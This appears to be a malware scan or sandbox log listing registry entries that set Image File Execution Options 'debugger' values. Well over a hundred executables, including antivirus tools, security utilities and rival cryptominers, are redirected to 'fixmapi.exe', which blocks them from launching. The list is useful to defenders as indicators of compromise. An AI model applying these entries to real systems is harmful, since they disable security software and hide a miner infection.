  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclm.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsbu.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UninstallMonitor.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smBootTime.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbtce.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QpMonitor.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zpgiupy.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosd.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSafeTray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrws.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolvs.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSvchost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRFeature.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRManager.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servidor.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetFramework.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetLibrary.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvnc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TpmInit.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wprehwc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhosr.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winhost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys32.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_cp_fr.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_dp_com.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\op_mon.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javagroup.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winpoint.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlog.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nusb3mon.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmon.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBSRService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qpis.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchProtocolHos.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WMIC.exe.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wizard.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waspwing.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reminder.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esif.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seth.exe] 'debugger' = 'drmsvc.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\praetorian.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssm-xsc.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System Idle Process.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex7.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tasksmgrs.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svch0st.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\miner65.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe] 'debugger' = 'fixmapi.exe'
